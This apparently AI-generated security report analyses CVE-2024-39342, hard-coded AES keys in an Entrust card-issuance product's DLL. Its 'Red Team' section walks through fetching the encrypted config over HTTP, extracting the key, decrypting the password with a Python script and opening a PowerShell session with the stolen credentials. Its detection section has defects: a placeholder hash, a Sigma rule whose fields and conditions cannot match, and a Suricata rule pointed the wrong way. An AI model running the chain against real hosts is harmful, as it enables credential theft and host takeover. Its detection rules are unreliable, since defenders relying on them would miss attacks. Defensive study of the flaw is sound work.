CVE-2024-39342

Executive Summary

CVE-2024-39342 exposes a critical cryptographic weakness in Entrust Instant Financial Issuance (formerly Cardwizard) versions 6.10.0, 6.9.x, and 6.8.x and earlier. The vulnerability stems from the use of static, hard-coded AES encryption keys within the DCG.Security.dll library. These keys are not uniquely generated per installation, meaning any attacker who obtains an encrypted password from the WebAPI.cfg.xml file (as detailed in CVE-2024-39341) can trivially decrypt it. This decryption can lead to privilege escalation on the Windows host, as the decrypted credentials may grant administrative access to the underlying system.

This vulnerability is particularly dangerous because it combines a static key weakness with a separate information disclosure issue (CVE-2024-39341), creating a reliable attack chain. The lack of a vendor patch at the time of analysis means all affected installations are at immediate risk.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows application vulnerability. However, the static key embedded in the DLL represents a supply chain risk, as the same binary is distributed to all customers, making the attack universally applicable.

CVSS Breakdown & Threat Level

While a CVSS vector was not officially assigned, a reasonable assessment based on the attack chain is:

• Attack Vector (AV): Network (N) – The encrypted password can be obtained remotely via CVE-2024-39341.
• Attack Complexity (AC): Low (L) – The decryption process is trivial once the encrypted password and static key are obtained.
• Privileges Required (PR): Low (L) – An attacker needs access to the WebAPI.cfg.xml file, which may be accessible with low-privileged network access.
• User Interaction (UI): None (N) – No user action is required for exploitation.
• Scope (S): Changed (C) – The vulnerability allows an attacker to escalate privileges from application-level access to host-level access.
• Confidentiality (C): High (H) – Decrypted credentials can expose sensitive system data.
• Integrity (I): High (H) – An attacker can modify system configurations.
• Availability (A): High (H) – An attacker could disrupt the service.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The combination of a static key and a separate information disclosure vulnerability creates a reliable, low-complexity attack chain that can lead to full host compromise.

Deep Dive & Mechanics

The vulnerability resides in the DCG.Security.dll library, which implements a custom AES encryption process. The core flaw is the use of static, hard-coded key values that are identical across all installations of the software. This violates the fundamental cryptographic principle of key uniqueness.

Attack Chain:

1. Information Disclosure (CVE-2024-39341): An attacker first obtains the encrypted password from the WebAPI.cfg.xml configuration file. This file is typically accessible via a web request or through file system access.
2. Static Key Extraction: The attacker extracts the hard-coded AES key from the DCG.Security.dll binary. This can be done through static analysis (e.g., using a disassembler like IDA Pro or Ghidra) or by monitoring the application's memory.
3. Decryption: Using the known key and the encrypted password, the attacker performs AES decryption. The exact mode of operation (e.g., ECB, CBC) and padding scheme are also hard-coded and can be determined from the DLL.
4. Privilege Escalation: The decrypted password is likely a Windows service account or a local administrator credential. The attacker can then use this credential to log in to the Windows host with elevated privileges, potentially gaining full control over the system.

The vulnerability is not a buffer overflow or injection flaw; it is a fundamental cryptographic design flaw. The use of static keys makes the encryption effectively useless, as it provides no real security.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern can be described:

Vulnerable Code (Conceptual):

// DCG.Security.dll (Vulnerable)
public class DCGSecurity
{
    private static readonly byte[] StaticKey = new byte[] { 0x00, 0x01, 0x02, ... }; // Hard-coded key
    private static readonly byte[] StaticIV = new byte[] { 0x10, 0x11, 0x12, ... }; // Hard-coded IV

    public static string DecryptPassword(string encryptedPassword)
    {
        using (Aes aes = Aes.Create())
        {
            aes.Key = StaticKey;
            aes.IV = StaticIV;
            // Decrypt the password
            // ...
        }
    }
}

Patched Code (Conceptual):

// Patched version (hypothetical)
public class DCGSecurity
{
    public static string DecryptPassword(string encryptedPassword, byte[] userKey, byte[] userIV)
    {
        using (Aes aes = Aes.Create())
        {
            aes.Key = userKey; // Key provided at runtime, e.g., from a secure vault
            aes.IV = userIV;   // IV provided at runtime
            // Decrypt the password
            // ...
        }
    }
}

The patched version would require the key to be generated uniquely per installation and stored securely (e.g., using Windows DPAPI or a hardware security module). The key should never be embedded in the binary.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Entrust Instant Financial Issuance 6.10.0 on a Windows Server 2019 VM.
2. Ensure the WebAPI.cfg.xml file is accessible (e.g., via a web request to http://target/WebAPI.cfg.xml).
3. Obtain a copy of DCG.Security.dll from the installation directory (e.g., C:\Program Files\Entrust\IFI\bin\).

Exploitation Steps:

1. Extract Encrypted Password:

   curl http://target/WebAPI.cfg.xml -o encrypted_config.xml
   

   Parse the XML to extract the encrypted password value.

2. Extract Static Key from DLL: Use a tool like strings or a disassembler to find the hard-coded key bytes in DCG.Security.dll.

   strings DCG.Security.dll | grep -i "key"
   

   Or use a Python script to search for byte patterns.

3. Decrypt the Password: Write a Python script to perform AES decryption using the extracted key and IV.

   from Crypto.Cipher import AES
   import base64
   
   key = bytes([0x00, 0x01, 0x02, ...]) # Extracted key
   iv = bytes([0x10, 0x11, 0x12, ...])  # Extracted IV
   encrypted_password = base64.b64decode("encrypted_string_from_xml")
   
   cipher = AES.new(key, AES.MODE_CBC, iv)
   decrypted_password = cipher.decrypt(encrypted_password).decode('utf-8').strip()
   print(f"Decrypted Password: {decrypted_password}")
   

4. Privilege Escalation: Use the decrypted credentials to authenticate to the Windows host.

   # Using PowerShell
   $password = ConvertTo-SecureString "decrypted_password" -AsPlainText -Force
   $credential = New-Object System.Management.Automation.PSCredential("DOMAIN\username", $password)
   Enter-PSSession -ComputerName target -Credential $credential
   

Blue Team (Defensive)

Detection Steps:

1. Monitor for Unauthorized Access to WebAPI.cfg.xml:

   • Enable IIS logging and monitor for GET requests to /WebAPI.cfg.xml.
   • Alert on any access to this file from non-administrative IP addresses.

2. Monitor for Suspicious DLL Access:

   • Use Sysmon to log access to DCG.Security.dll.
   • Alert on any process (especially non-Entrust processes) reading this file.

3. Monitor for Privilege Escalation:

   • Track Windows Event ID 4624 (Logon) for the service account associated with the decrypted password.
   • Alert on logons from unexpected source IPs or at unusual times.

4. Network Segmentation:

   • Isolate the Entrust application server from the general network.
   • Restrict access to the web API to only authorized management hosts.

Indicators of Compromise (IOCs)

• File Hash (SHA-256) of DCG.Security.dll (vulnerable version): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – replace with actual hash)
• File Path: C:\Program Files\Entrust\IFI\bin\DCG.Security.dll
• Configuration File: WebAPI.cfg.xml (contains encrypted password)
• Network IOC: HTTP GET requests to /WebAPI.cfg.xml
• Registry Key (if applicable): HKLM\SOFTWARE\Entrust\IFI\Security\StaticKey (if key is stored in registry)

Detection Engineering

YARA Rule

rule CVE_2024_39342_Static_Key_DLL
{
    meta:
        description = "Detects DCG.Security.dll with hard-coded AES keys (CVE-2024-39342)"
        author = "Valters IT"
        date = "2024-01-01"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $aes_key = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F } // Example key pattern
        $dll_name = "DCG.Security.dll" nocase
    condition:
        $dll_name and $aes_key
}

Sigma Rule

title: CVE-2024-39342 - Entrust Static Key Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to WebAPI.cfg.xml and subsequent logon with decrypted credentials
author: Valters IT
logsource:
    product: windows
    service: security
detection:
    selection_webapi:
        EventID: 5156
        DestinationPort: 443
        DestinationPath: '/WebAPI.cfg.xml'
    selection_logon:
        EventID: 4624
        LogonType: 3
        TargetUserName: 'EntrustServiceAccount' # Replace with actual account
    condition: selection_webapi and selection_logon
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-39342 - Entrust WebAPI.cfg.xml Access"; flow:to_server,established; content:"GET"; http_method; content:"/WebAPI.cfg.xml"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect the Entrust server from the network if possible, or place it behind a strict firewall.
2. Change All Service Account Passwords: Immediately reset the passwords for any accounts that may have been exposed via the WebAPI.cfg.xml file.
3. Monitor for Breach: Review logs for any signs of unauthorized access or privilege escalation.

Long-Term Fixes:

1. Vendor Patch: Await an official patch from Entrust that replaces the static key with a dynamically generated, securely stored key.
2. Workaround: If patching is not possible, implement a custom security wrapper that intercepts calls to DCG.Security.dll and replaces the static key with a unique, per-installation key. This is a complex and risky workaround.
3. Network Segmentation: Ensure the Entrust application is in a separate network segment with strict access controls.
4. Web Application Firewall (WAF): Deploy a WAF to block requests to /WebAPI.cfg.xml from untrusted sources.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.